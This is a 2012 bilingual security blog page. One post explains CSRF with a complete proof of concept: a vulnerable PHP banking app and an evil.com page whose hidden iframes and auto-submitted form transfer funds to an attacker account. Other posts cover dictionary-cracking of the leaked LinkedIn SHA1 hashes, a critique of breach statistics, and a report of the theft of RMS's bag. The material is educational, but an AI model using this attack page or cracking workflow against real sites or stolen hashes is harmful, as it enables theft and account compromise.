2012/06/27

Client side CSRF protection


Como protegerse de CSRF 

 (English version below)


No voy a explicar en que consiste este ataque, ya que para eso están estas [1] [2] excelentes fuentes.

Uno como usuario está desprotegido, ya que es una vulnerabilidad de la aplicación en el servidor. Siempre te recomiendan que no abras links que vienen de personas desconocidas (aunque las conocidas bien pueden haber sido manipuladas) y todas esas cosas que quizás, quizás te protejan.

Si uno quiere agarrar el toro por las astas debería entonces examinar todo el código html y javascript del home banking para quizás, quizás verificar que del lado del cliente está bien, sin saber a ciencia cierta si del lado del servidor está bien.

Siendo más comprometido, uno debería hacerse a uno mismo el ataque y ver que falla y recién ahi operar con ese home banking, hasta que haya un upgrade y sea necesario repetir el proceso.

Me conviene ir al cajero.

Ahora bien, si hemos realmente comprendido la esencia del CSRF, podemos afirmar que si SÓLO estamos navegando el home banking, el ataque no es posible, ya que se basa en la incapacidad del navegador y del servidor de diferenciar entre las llamadas legítimas y la ilegítimas.

Si usamos un perfil de firefox exclusivamente para acceder al home banking, aunque en otro perfil entremos a un sitio malicioso con su ataque, no va a funcionar, pues estamos en contextos distintos, ¿no?

En firefox, hay que agregar "-no-remote -ProfileManager" al iniciar el programa [3], lo cual nos va a hacer elegir el perfil en el momento de abrir el programa.

A estos perfiles los podemos llamar "normal|toxico|inseguro" y "seguro|banco 1|banco 2|servicio 3". Lo más correcto sería crear un perfil para cada sitio sensible. 

Supongo que como efecto beneficioso colateral, no queda en nuestro historial "toxico" rastros de nuestros sitios sensibles.

Es muy importante no confundirse de perfil, claro.

Qué pasa con la "Navegación privada" de Firefox?


En 13.0.1, cuando inicias la navegación privada se reemplaza lo que estés navegando, asi que no es útil.

E incognito de Chrome?


Funciona bien, iniciás una ventana incognito y usas el home banking ahi, el resto de la navegación en las otras ventanas, pero, como dice Pipe y pronto comprobaré, ya he comprobado, no podés tener distintas ventanas incognito independientes.

POC


La prueba de concepto [4] que he hecho funciona bien, salvo que genera un popup que es bloqueado por FF. Una vez que aceptás el popup, la transacción se realiza, te das cuenta que hay algo mal, pero ya es tarde. Si tenés la habilidad de probarla en tus máquinas, mirando fijo el código de evil.com verás que se puede lograr la discreción del GET con la funcionalidad del POST. Yo lo hice pero no lo publico para que tengas la oportunidad de ejercer tu talento. (podés ir al próximo post, ahi está más bonito)

Me he centrado en home banking por ser donde está claro que hay dinero, pero esto aplica para cualquier sitio con autenticación.

Actualización: esta entrada ha generado un cierto feedback offline, puedes leerlo en http://seguridad-agile.blogspot.com.ar/2012/07/layer-8-csrf-protection.html


How to protect yourself from CSRF


I won't repeat any definition here, as there are good references like [1] and [2].

Being a server side vulnerability, you are unprotected as an user. Common advice is to avoid following links from unknown people and this kind of crap.

If you want to be safe, you have to analyze the html and javascript code served by the home banking site and hope that the server side implementation is not wrong.

To be really sure, you should attack yourself and if you do not succeed, repeat it again when there is an upgrade. Let's go back to the ATM.

If we really understand what CSRF is, we can assert that if we are only browsing the home banking site, the attack can not be carried on, as it is based upon the fact that neither the server nor the browser can tell good from bad requests.

So, while we use are using a firefox profile to access the home banking site, it is isolated from any other profile, no attack is possible, right?

Add "-no-remote -ProfileManager" to the startup of the program [3] and choose the profile for your current activity.

You can name them "common|toxic|insecure" and "secure|bank 1|bank 2". It is better to create one profile for each sensitive site. As a side effect, it leaves no trace of banking activity in the "toxic" profile.

Try not to mix the profiles!!!


What about Firefox's "Private browsing"?


With 13.0.1, when you start private browsing it replaces what you were browsing, so it is not useful

What about Chrome's incognito?


It works fine, start an incognito window and use home banking from there. Use the other windows to open new links. Keep in mind what Pipe said below, it seems that incognito windows share state, I'll check it soon, so you should not access more than one sensitive site at the same time.


POC


The poc [4] I've made works fine, but a popup window is blocked by FF. Once you accept the popup, the transaction is done and you are warned, but it is too late. With some extra work you can find a way to fix this issue. Or you can go to the next post...

There are two iframes, one using GET, the other POST.

This discussion was around home banking because your are dealing with money, but it applies to any other authenticated site.


Update: you can see the results of the offline discussion generated by this entry here: http://seguridad-agile.blogspot.com.ar/2012/07/layer-8-csrf-protection.html

Referencias


[1] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

[2] http://en.wikipedia.org/wiki/Cross-site_request_forgery

[3]  add -no-remote -ProfileManager to...
  • windows xp::firefox::español: acceso directo a firefox -> botón derecho -> propiedades -> agregar a "destino".
  • linux::gnome2::firefox::english: launcher->right click -> properties ->  add to "command"
  • linux::kde3::firefox::english: button->right click-> configure ff web browser button->application ->add to "command"
  •  
[4] POC

clave: password
transferencia: transfer
origen: origin
destino: target
transferir: to transfer
entrar sistema: login
autenticado: authenticated
valor: value
tomatelas, no autenticado: fuck off, not authenticated
linda mascota: cute pet
transfiriendo: transfering
mascota inofensiva: harmless pet
cuenta cliente: customer account
cuenta atacante: attacker account
encantador: charming

[login.php@good.com]
<?php

session_start();

if (isset($_SESSION['auth']) || isset($_REQUEST['clave']) && $_REQUEST['clave'] == "1234") {
       $_SESSION['auth'] = 1;
?>
<form method="post" action="transferencia.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input type="submit" value="transferir"</input>
</form>

<?php

    } else {
?>
<form method="post">
<input name="clave">clave</input>
<input type="submit" value="entrar sistema"</input>

</form>
<?php

}


--------------------

[transferencia.php@good.com]
<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado</br>";
    print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'] . " $". $_POST['valor'];

} else {
    print "tomatelas, no autenticado";
}


--------------------

[linda_mascota.html@evil.com]
<html>
<head>
<title>
Mascota inofensiva en evil.com
</title>

<body>

<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />

<iframe height="0" width="0" src="http://good.com/transferencia.php?origen=cuenta_cliente&destino=cuenta_atacante&valor=1000pe"
</iframe>

<iframe name=ifr width="0" height="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://good.com/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>

2012/06/24

Las cifras mienten, a veces.


En segu-info he hallado un artículo [1] que muestra una infografía [2] que nos pretende mostrar que el grado de exposición de las pymes es mucho mayor que el que la prensa especializada le da.

Yo no he cursado probabilidad y estadística y sin embargo puedo hallar un horrible error que hace que uno quede como un pelotudo si llega a presentarle esto a alguien que si, o que piense cuatro segundos.

72% of the known hacker breaches in 2011 affected businesses with 100 employees or less.


40% of corporate cyberattacks were targeted at companies with 500 employess or less.

Me pongo en el lugar de la pyme a la que le llevo estas cifras y pienso:

"72% de los ataques me pudieron haber pegado a mi. No, a mi no, a mi grupo, pero dado que mi grupo es MUCHISIMO mas grande que el que se llevó el 28%, las probabilidades de que me toque A MI, son muy bajas, no, gracias, no me interesa lo que me venís a vender y me ofende que me tomes por ignorante"


Vamos a los números. En el primer link que encontré, [3], que parece ser un censo industrial de EEUU del 2008, podemos ver una gruesa aproximación . En la tabla 2.4, columna "firms", vemos que:

Empresas con menos de 100 empleados: 5.294.970

Empresas con mas de 100 empleados:      616.693


Según la infografía, las probabilidades de recibir un ataque siendo pyme es entre 3/4 y 4/5. Pero dado que hay casi nueve veces mas pymes que no pymes, las probabilidades de recibir el ataque disminuyen groseramente.

Si hice alguna cuenta mal o he interpretado incorrectamente, les recuerdo que no he cursado probabilidad y estadística. Soy conciente de que esas proporciones son de la industria de conjunto, no sé si se respeta la misma proporción en las empresas con conexión a Internet. Y estoy siendo extremadamente generoso en no incluir ni una de las 21.351.320 "Nonemployer firms" dentro de las de menos de 100.

Pero apuesto a que estoy cerca.

Este es un ejemplo de como no está bien copiar y pegar noticias y análisis ajenos sin ejercer una mínima crítica.

Es una pena, pues al resto de la infografía no le veo problemas, parece sensata, pero si asi comieza, aunque el resto sea correcto, a mi al menos, me produce bastante desconfianza.

[1] blog.segu-info.com.ar/2012/06/seguridad-en-las-pymes-infografia.html

[2] http://www.veracode.com/blog/2012/06/small-business-cyber-security-infographic/

[3] http://www.census.gov/econ/smallbus.html

2012/06/10

[offtopic?] Robo a Stallman



Circunstancias

Hacia el final del evento, cuando RMS repartía llaveritos, notó que su bolso no estaba, punto.

Como en todas las conferencias de RMS, no hay lista de asistentes, ya que la entrada es libre y gratuita.

Supongo que pueden haber fotos y videos. Se podría llegar a identificar a alguien, pero es algo en extremo policíaco.

Elementos substraidos

Las cosas perdidas son:


  • Una Notebook Lemote Yeelong blanca, una rareza. El software instalado es GNU-linux, ya que, aparte de las preferencias de RMS,  las Lemote yeelong no soportan windows
  • Una Bateria Tekkeon, que parece ser una rareza tambien
  • Unas memorias usb de 64gb
  • Documentos, medicamentos y dinero
  • Además, que no era de RMS, la filmadora oficial del evento, con la que se registró toda la conferencia y se proyectó en las pantallas de la sala.


Números de serie y otros datos estaban en un papel que estaban en el mismo
bolso.

En  http://www.vialibre.org.ar/ puede haber más información

En caso de rastrear algún elemento, avisar a info@vialibre.org.ar



Algunas reflexiones 


(de aquí para abajo, en construcción)

Aunque en todos los eventos siempre se avisa que se tenga cuidado con las pertenencias, parece que hay momentos de entusiasmo en el cual se relaja la atención. Este tema para mi es un tanto periférico ya que no tengo experiencia ni un interés particular en seguridad física.

He organizado, o participado de la organización de varios eventos ágiles, algunos de ellos orientados a seguridad sin tener ningún inconveniente de este tipo. Es verdad que la asistencia no era muy elevada, para nada elevada.

He asistido de un modo y otro a varios eventos más concurridos y la verdad es que no me he enterado de inconvenientes, aunque imagino que en un lugar como ekoparty quizas la organización no esté muy predispuesta a avisar que si los han habido.

En el último flisol, que tambien fué en Económicas, tampoco hubo inconvenientes según fue explícitamente mencionado en algún mail en la lista. En este caso me consta que hubo discusión durante la organización, se tomaron los datos de los asistentes y se pegaron carteles "concientizadores".

Yo tenía que dar una charla, asi que mi hija me había prestado su netbook (yo no tengo nada portátil, sorry). Estuve con la mochila en la espalda todo el evento. Un embole, pero no podía perderla bajo ninguna circunstancia.

Sé que hubo un evento al que no asistí en el que a un expositor le robaron el equipo, en circunstancias parecidas a las actuales, lamentablemente no recuerdo cual.

Cuando trabajaba en Terra, a una notebook muy potente para esa época le reemplazaron la memoria y todo indicó que fué durante la participación de un evento, aunque no del tipo aquí mencionado.

Dado que es hurto sin violencia, los ejecutores salen rápido. Por lo que cuenta Bea[1], "Cuando robaron mi laptop en 2009 logramos detener al ladrón y como es hurto, sin violencia, entran y salen. El que me robó a mi tenía un prontuario bien gordo de eventos similares" y charlas que he tenido con personal de seguridad física, hay gente que se especializa.


Repito anticipadamente: "Supongo que pueden haber fotos y videos. Se podría llegar a identificar a alguien, pero es algo en extremo policíaco".

Sería mejor actuar de modo preventivo. Y si, hay que bancarse que así como hay distintas tareas en un evento, algunas más gratas que otras, alguien tiene que echarle un ojo a las cosas de valor. Esto es comenzando por uno mismo. En el caso de un expositor, hay que cuidarlo, por que dejando de lado las características de cada expositor, tiene la cabeza en dar una buena exposición, no en cuidar que no lo desvalijen.


Responsabilidad


Desde la distancia de no haber estado presente y con el espíritu de ser constructivo, no saldador de cuentas, me temo que la responsabilidad es de la organización del evento.Para ratificar o rectificar esa idea, pregunté:

Pasado:
¿Cuál fue el evento relacionado al robo del 2009 a Bea?
¿Cual era el rol de Bea en ese evento?

Presente:
¿Hubo algún tipo de discusión durante la organización de este evento orientada a prevenir eventos como este?
¿Hubo algún tipo de resolución al respecto? ¿Cuál fué?
¿Quedó alguien encargado de velar por esa resolución?
¿Hubo alguna otro robo aparte de RMS y la cámara?

Continuo:
¿Existe un historial de estos eventos con sus robos y respuestas a estas preguntas? (espero que se entienda)

Las respuestas están en [2]. Aunque la data es insuficiente como para una estadística seria, parece que hay una desproporción de víctimas entre los que exponen. Aunque consideraron el tema durante la organización, no parece haber formado parte de la ella desde el comienzo. Se resolvió en el momento: "que cada quien vele por sus cosas". Como ya dije antes, esa táctica no funciona con quien expone.


Fuentes

2012/06/09

more linkedin

He utilizado un diccionario de 53 millones y no he hallado ni una clave nueva, así que el diccionario del atacante original es más grande que el mio (probablemente) o me estoy equivocando en el proceso (probablemente)

Para ejecutar todo esto es conveniente cerrar xwindows y abrir tres terminales. Para alivio sicológico se puede tener un top y un watch ls -l

El problema de usar estos scripts sencillos y batching es que no se pueden aprovechar los multicores. Para la generación de los hashes, que es lo que hace hashes_and_pairs.rb tengo por ahi una solución con un cierto costo de setup, que no justifica ante los cinco minutos de unicore.


Comencemos:  a partir de un diccionario, genera dos archivos, uno con cada hash y otro con el password y el hash
As I've used a 53 millon entries dictionary with no results, it seems that the original attacker has a bigger one (probably) or I am making a mistake (probably too)

As this process is memory hungry, it's wise to close xwindows and work with three naked terminal. You can use top and watch ls -l to monitor the process

These simple scripts do not make use of multicore capabilities. For the hash generation there is a setup that can help.

First step: generate two files, one with hashes from our dictionary and the other with the hash and the password
ruby hashes_and_pairs.rb #(5 min)

#!/usr/bin/ruby
require "digest/sha1"

dict="full_list_uniq.txt"

input = File.new(dict, "r")
hashes = File.new("dict_hashes.txt", "w")
pairs = File.new("dict_pairs.txt","w")
while (pass = input.gets)
    pass = pass.chomp
    hash = Digest::SHA1.hexdigest(pass || "")
    hashes.puts "#{hash}"
    pairs.puts "#{hash} #{pass}"
end
hashes.close
pairs.close


Tomamos la lista de hashes de linkedin junto a la lista de hashes del diccionario y obtenemos los duplicados. Es vital que el diccionario original no tenga duplicados.Find duplicates between the linkedin hashes and our hashes. It's very important that there are no duplicates in our hashes
cat remaining.txt dict_hashes.txt | sort | uniq -d > found_hashes.txt #(6 min)
Luego buscamos los hashes encontrados en found.txt dentro de dict_pairs.txt...Search found hashes in our hash/password list
grep dict_pairs.txt -F -f found_hashes.txt > found_pairs.txt
No olvidar el -F, hace mucha diferencia

Si found_hashes.txt fuera muy largo, se podria hacer
Don't forget the -F, it makes a big difference

If the found list is too big, you can split it
split -l 10000 found_hashes.txt chunk_


for patterns in chunk_*; do 
   grep dict_pairs.txt -F -f $patterns >> found_pairs.txt
done
Como ya habia mencionado, no he conseguido ningún resultado nuevo.  As I've said before, there were no results

2012/06/08

Leak Linkedin English



Download the dump file from http://bit.ly/KGTusG and execute the code below, based upon https://gist.github.com/2884354, with a second test to find unknown hashes.

It seems that linkedin does not salt the stored password, allowing dictionary and rainbow table attacks.

The file has 6.5 million hashes, with a half of them "tagged" with 000000 at the beginning. If you try common passwords they are found.

The author original logic is to verify hashing the password and replacing the first six chars with 0. I've added looking for untagged hashes too.

Asi que, a ejecutar y cambiar el password si hace falta.
Please add a comment below if you find your linkedin password and if its not used in any other account, the better. If is does not reveal anything about your password schema, please write it down too.


"""
Check if your password is in the linkedin password dump.
You'll need to download the dump from here: http://bit.ly/KGTusG and unzip it to combo_not.txt
"""

import hashlib
import getpass

pw = getpass.getpass('Enter your LinkedIn password: ')
sha1 = hashlib.sha1(pw).hexdigest()
hash = '00000' + sha1[5:]

found = False
with open('combo_not.txt') as f:
    for i, line in enumerate(f):
        h = line.strip()
        if hash == h:
            print "Found it decrypted on line %d" % i
            found = True
        if sha1 == h:
            print "Found it but encrypted on line %d" % i
if not found:
    print "password %s not found" % (pw)



Here there is an analysis:

http://cyberarms.wordpress.com/2012/06/07/analysis-of-passwords-dumped-from-linkedin/

Leak linkedin

Sabiendo que hay muchas personas ágiles con linkedin, pienso que amerita dedicarle un ratito. Sólo hay que bajar el dump de http://bit.ly/KGTusG y ejecutar el programa, que he sacado de https://gist.github.com/2884354, pero agregándole el segundo if, para verificar si está el password de uno está pero no habia sido aun descifrado.


Parece que linkedin no usa salts en sus passwords, lo cual facilita enormemente hacer ataques de diccionario y rainbow tables.

El archivo consiste en 6.5 millones de hashes, de los cuales más de la mitad tienen reemplazados los primeros caracteres por 000000. Si se prueba con los passwords comunes, se hallan, lo cual suguiere que quien perdió este archivo ya rompió esos hashes.

La prueba del autor original es verificar si el password de uno ha sido descifrado o no. Es altamente probable que si lo encuentra, sea, pero tambien puede ser una colisión producida por los ceros, difícil, muy difícil.

La prueba que agrego es por si el password de uno es bueno y no ha sido roto, está en la lista, esperando a ser roto por alguien con más tiempo.

Asi que, a ejecutar y cambiar el password si hace falta.

Agradeceré que cualquiera que encuentre su password en la lista deje un comentario, sobre todo si es detectado por la segunda prueba. Tambien mencionar si es un password que es sólo de linkedin.


En caso de que sea un password que sea compartible, por favor dejarlo tambien, asi puedo verificar si la prueba es correcta. Mientras voy a correr mis crackers, a ver si encuentro algo.

Con "compartible" me refiero a que no tenga relación con otros passwords.


"""
Check if your password is in the linkedin password dump.
You'll need to download the dump from here: http://bit.ly/KGTusG and unzip it to combo_not.txt
"""

import hashlib
import getpass

pw = getpass.getpass('Enter your LinkedIn password: ')
sha1 = hashlib.sha1(pw).hexdigest()
hash = '00000' + sha1[5:]

found = False
with open('combo_not.txt') as f:
    for i, line in enumerate(f):
        h = line.strip()
        if hash == h:
            print "Found it decrypted on line %d" % i
            found = True
        if sha1 == h:
            print "Found it but encrypted on line %d" % i
if not found:
    print "password %s not found" % (pw)



Además acá hay un lindo análisis:

http://cyberarms.wordpress.com/2012/06/07/analysis-of-passwords-dumped-from-linkedin/